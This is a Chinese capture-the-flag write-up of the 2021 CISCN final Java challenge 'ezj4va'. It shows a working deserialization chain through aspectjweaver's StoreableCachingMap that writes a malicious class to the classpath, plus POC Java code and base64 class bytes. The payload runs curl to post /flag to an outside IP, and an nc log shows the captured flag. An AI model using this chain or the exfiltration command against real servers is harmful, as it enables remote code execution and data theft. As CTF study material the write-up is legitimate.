2021-CISCN-fianl-ezj4va

前言

去年国赛决赛的0解Java,后来出现在了DASCTF八月挑战赛,当时不太会Java所以没有看,今天找个时间复现了一下。写的比较简单,具体可以看参考链接中的文章。

代码审计

访问/robots.txt得到文件名可以下载到源码。

pom.xml

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"><modelVersion>4.0.0</modelVersion><groupId>ciscn.fina1</groupId><artifactId>ezj4va</artifactId><version>0.0.1-SNAPSHOT</version><packaging>jar</packaging><properties><maven.compiler.source>1.8</maven.compiler.source><maven.compiler.target>1.8</maven.compiler.target></properties><dependencies><dependency><groupId>org.apache.tomcat.embed</groupId><artifactId>tomcat-embed-core</artifactId><version>8.5.38</version></dependency><dependency><groupId>org.aspectj</groupId><artifactId>aspectjweaver</artifactId><version>1.9.5</version></dependency><dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.72</version></dependency></dependencies><build><finalName>ezj4va</finalName><resources><resource><directory>src/main/webapp</directory><targetPath>META-INF/resources</targetPath><includes><include>*.*</include></includes></resource><resource><directory>src/main/resources</directory><includes><include>**/*.*</include></includes></resource></resources><plugins><plugin><groupId>org.codehaus.mojo</groupId><artifactId>appassembler-maven-plugin</artifactId><version>2.0.0</version><configuration><assembleDirectory>target</assembleDirectory><programs><program><mainClass>ciscn.fina1.ezj4va.launch.Main</mainClass></program></programs></configuration><executions><execution><phase>package</phase><goals><goal>assemble</goal></goals></execution></executions></plugin></plugins></build></project>

简单审计之后知道的是,存在反序列化漏洞,依赖中有aspectjweaver但是没有CommonsCollections

写文件

对于整个chain:

Gadget chain:
HashSet.readObject()HashMap.put()HashMap.hash()TiedMapEntry.hashCode()TiedMapEntry.getValue()LazyMap.get()SimpleCache$StorableCachingMap.put()SimpleCache$StorableCachingMap.writeToPath()FileOutputStream.write()

其实是要调用SimpleCache$StorableCachingMap.put(),可以发现这里:

    @Overridepublic Cart addToCart(String skus, String oldCartStr) throws Exception {Cart toAdd =(Cart) Deserializer.deserialize(skus);Cart cart=null;if(oldCartStr!=null)cart= (Cart) Deserializer.deserialize(oldCartStr);if(cart==null)cart=new Cart();if(toAdd.getSkuDescribe()!=null){Map skuDescribe = cart.getSkuDescribe();for(Map.Entry<String,Object> entry:toAdd.getSkuDescribe().entrySet()){skuDescribe.put(entry.getKey(),entry.getValue());}}

skuDescribeentry反序列化之后都可控,所以可以直接触发put()实现任意写,POC:

        Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");Constructor declaredConstructor = clazz.getDeclaredConstructor(String.class,int.class);declaredConstructor.setAccessible(true);//Map<String,Object> expMap = (Map<String,Object>)declaredConstructor.newInstance("./WEB-INF/classes/ciscn/fina1/ezj4va/domain/", 123);Map<String,Object> expMap = (Map<String,Object>)declaredConstructor.newInstance("./target/classes/", 123);Cart cart = new Cart();Field skuDescribeField = Cart.class.getDeclaredField("skuDescribe");skuDescribeField.setAccessible(true);skuDescribeField.set(cart,expMap);Cart toAdd = new Cart();Map<String,Object> fileMap = new HashMap<>();String content = "yv66vgAAADQAJgoACQAVCgAWABcHABgIABkIABoIABsKABYAHAcAHQcAHgcAHwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApyZWFkT2JqZWN0AQAeKExqYXZhL2lvL09iamVjdElucHV0U3RyZWFtOylWAQAKRXhjZXB0aW9ucwcAIAEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAsADAcAIQwAIgAjAQAQamF2YS9sYW5nL1N0cmluZwEABy9iaW4vc2gBAAItYwEAH2N1cmwgaHR0cDovLzEyMS41LjE2OS4yMjM6Mzk4NzYMACQAJQEABEV2aWwBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAIAAkAAQAKAAAAAgABAAsADAABAA0AAAAhAAEAAQAAAAUqtwABsQAAAAEADgAAAAoAAgAAAAUABAAGAAIADwAQAAIADQAAADcABQACAAAAG7gAAga9AANZAxIEU1kEEgVTWQUSBlO2AAdXsQAAAAEADgAAAAoAAgAAAAkAGgAKABEAAAAEAAEAEgABABMAAAACABQ=";fileMap.put("Evil.class",Base64.getDecoder().decode(content));skuDescribeField.set(toAdd,fileMap);System.out.println(Base64.getEncoder().encodeToString(SerializeUtil.serialize(cart)));System.out.println(Base64.getEncoder().encodeToString(SerializeUtil.serialize(toAdd)));Evil evil = new Evil();System.out.println(Base64.getEncoder().encodeToString(SerializeUtil.serialize(evil)));

rce

然后就是写一个恶意类的class,把命令执行写到readObject里面,然后把.class写到classpath中,再利用反序列化这个类实现rce。本地是打通了,远程感觉压根写不进去,感觉classpath根本不是./target/classes/,迷。。。

--------------------------------------------------分割线---------------------------------------------

后来偶然发现buu上这题还上了加固,直接ssh连上去看了一下,发现./目录不是/app/目录,而是/app/bin目录,导致写错了。

改成/app/target/classes/即可。

写Evil.java:

import java.io.Serializable;public class Evil implements Serializable {private void readObject(java.io.ObjectInputStream s) throws Exception{Runtime.getRuntime().exec(new String[]{"/bin/sh","-c","curl http://121.5.169.223:39555 -F file=@/flag"});}
}
javac Evil.java
cat Evil.class|base64 -w 0
        Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");Constructor declaredConstructor = clazz.getDeclaredConstructor(String.class,int.class);declaredConstructor.setAccessible(true);Map<String,Object> expMap = (Map<String,Object>)declaredConstructor.newInstance("/app/target/classes/", 123);Cart cart = new Cart();Field skuDescribeField = Cart.class.getDeclaredField("skuDescribe");skuDescribeField.setAccessible(true);skuDescribeField.set(cart,expMap);Cart toAdd = new Cart();Map<String,Object> fileMap = new HashMap<>();String content = "yv66vgAAADQAJgoACQAVCgAWABcHABgIABkIABoIABsKABYAHAcAHQcAHgcAHwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApyZWFkT2JqZWN0AQAeKExqYXZhL2lvL09iamVjdElucHV0U3RyZWFtOylWAQAKRXhjZXB0aW9ucwcAIAEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAsADAcAIQwAIgAjAQAQamF2YS9sYW5nL1N0cmluZwEABy9iaW4vc2gBAAItYwEALmN1cmwgaHR0cDovLzEyMS41LjE2OS4yMjM6Mzk1NTUgLUYgZmlsZT1AL2ZsYWcMACQAJQEABEV2aWwBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAIAAkAAQAKAAAAAgABAAsADAABAA0AAAAdAAEAAQAAAAUqtwABsQAAAAEADgAAAAYAAQAAAAMAAgAPABAAAgANAAAANwAFAAIAAAAbuAACBr0AA1kDEgRTWQQSBVNZBRIGU7YAB1exAAAAAQAOAAAACgACAAAABQAaAAYAEQAAAAQAAQASAAEAEwAAAAIAFA==";fileMap.put("Evil.class",Base64.getDecoder().decode(content));skuDescribeField.set(toAdd,fileMap);System.out.println(Base64.getEncoder().encodeToString(SerializeUtil.serialize(cart)));System.out.println(Base64.getEncoder().encodeToString(SerializeUtil.serialize(toAdd)));Evil evil = new Evil();System.out.println(Base64.getEncoder().encodeToString(SerializeUtil.serialize(evil)));

先往classpath里面写Evil.class,然后再反序列化Evil类即可。

root@VM-0-6-ubuntu:~/java/jndi# nc -lvvp 39555
Listening on [0.0.0.0] (family 0, port 39555)
Connection from 117.21.200.166 18524 received!
POST / HTTP/1.1
Host: 121.5.169.223:39555
User-Agent: curl/7.58.0
Accept: */*
Content-Length: 235
Content-Type: multipart/form-data; boundary=------------------------2f8c76b85a50abe1--------------------------2f8c76b85a50abe1
Content-Disposition: form-data; name="file"; filename="flag"
Content-Type: application/octet-streamflag{c3b9785bd11defffc900569c778bd61c}--------------------------2f8c76b85a50abe1--

参考链接

https://www.anquanke.com/post/id/249651#h2-5

2021-CISCN-fianl-ezj4va相关推荐

  1. 【程序员比赛】CISCN 2021 ezj4va与Fix思路

    比赛过程中发现了漏洞点并且提示是写入文件然后rce,不过在封装恶意类的时候一直报错,然后就一直到比赛结束也没有调试出来,不过之后问了Mrkaixin师傅发现自己的一下小问题,然后在问了学长hpdoge ...

  2. CTF php反序列化总结

    前言:本⼈⽔平不⾼,只能做⼀些类似收集总结这样的⼯作,本篇文章是我自己在学php反序列化写的一篇姿势收集与总结,有不对的地方欢迎师傅们批评指正~ php反序列化 定义:序列化就是将对象转换成字符串.反 ...

  3. PHP反序列化原生类利用

    前言 之前对反序列化原生类进行过总结,但可能总结的方面不同,在ctf用到的很少,所以这里在对ctf常用原生类进行一次总结. 原生类 php中内置很多原生的类,在CTF中常以echo new $a($b ...

  4. 2021年 CISCN writeup

    2021年 CISCN writeup 文章目录 2021年 CISCN writeup 1.1 easy_sql 1.2 easy_source 1.3 middle_source 1.1 easy ...

  5. [CISCN 2021初赛]隔空传话

    [CISCN 2021初赛]隔空传话 本次复现基于WP:https://www.cnblogs.com/yunqian2017/p/14786240.html 特别感谢仓库:https://githu ...

  6. 2021年CISCN初赛re

    文章目录 glass.apk 直接分析jni的函数: baby.bc .bc转换为可执行程序 fill_number(__int64)input) docheck(input, input):z3约束 ...

  7. 【pwn】2021 鹤壁杯 wp

    [pwn]2021 鹤壁杯 wp 前言 这场比较简单,但是也看到了自己急于求成的下场,基础知识非常不牢固,很多调试手段都太拉了,逆向能力也是非常差,还是得跟着师傅们继续学啊! 1.ret2libc1 ...

  8. 2023全国大学生信息安全竞赛(ciscn)初赛题解

    战队信息 安全知识 甚至不用看视频,百度就有答案.除了那个最新的美国时政,其它的ChatGPT就能回答. Misc 签到卡 关注公众号,根据提示,直接print(open('/flag').read( ...

  9. 2021 绿城杯 wp

    2021 绿城杯 wp Web ezcms ezphp Misc [warmup]⾳频隐写 Re easyre Crypto RSA1 [warmup]加密算法 Pwn null_pwn uaf Gr ...

  10. 外包工作经历暨2021年终总结

    公司:太极-慧点科技 时间:2021/3/24~2021/6/7 项目:工商联/经济日报社OA项目 技术点: 前端:VUE封装组件 后端:Springboot.Spring Data Jpa Jenk ...

最新文章

  1. 高性能计算机存储部件有磁盘阵列,信息存储技术——磁盘阵列解读.pptx
  2. qt中Qtableview的用法
  3. LeetCode 1580. 把箱子放进仓库里 II(排序)
  4. 使用 jQuery Mobile 与 HTML5 开发 Web App (五) —— jQuery Mobile 表单下
  5. php中颜色的索引值,PHP imagecolorsforindex - 取得某索引的颜色 - 有码中国
  6. Linq To Sql, 为何继承就这么费劲?
  7. Bitmap 和Drawable 的区别
  8. jQuery实现的测试答题功能
  9. CVPR 2020放榜,录取率降至22%,港中文周博磊发文感慨十年变迁
  10. TeamWork#3,Week5,The First Meeting of Our Team
  11. Android的启动方式
  12. LinkedIn应用开发系列(三) --认证Request token
  13. cleanmymac x激活码免费下载激活及使用教程
  14. 面试被问“红黑树”,我一脸懵逼......
  15. Springboot搭建文件服务器
  16. java实现12306查票_GitHub - HendSame/J12306: 12306抢票程序JAVA版
  17. CF1463-A. Dungeon
  18. 通俗地解释下密码学中的归约证明
  19. DIV+CSS布局基本流程及实例介绍
  20. 数据可视化大屏酷炫秘籍之前端开发者自己动手

热门文章

  1. 缓存投毒 -- 学习笔记
  2. linux reedme常用单词,【每天打卡记单词】高中英语必背单词3500(Q/R)
  3. r语言实现岭回归_R语言回归篇
  4. 2.1 A k-armed Bandit Problem
  5. 阿里巴巴:入门者最常问的几个问题
  6. android iphone 记事本,手机上用什么记事本软件好?iPhone求推荐一款便签记事本app...
  7. 关于跳转页面报404、500错误设置自定义图片和文字
  8. Android软件常用下载地址
  9. 论文笔记:2004-Model Predictive Control of a Mobile Robot Using Linearization
  10. 人工智能—— 产生式表示法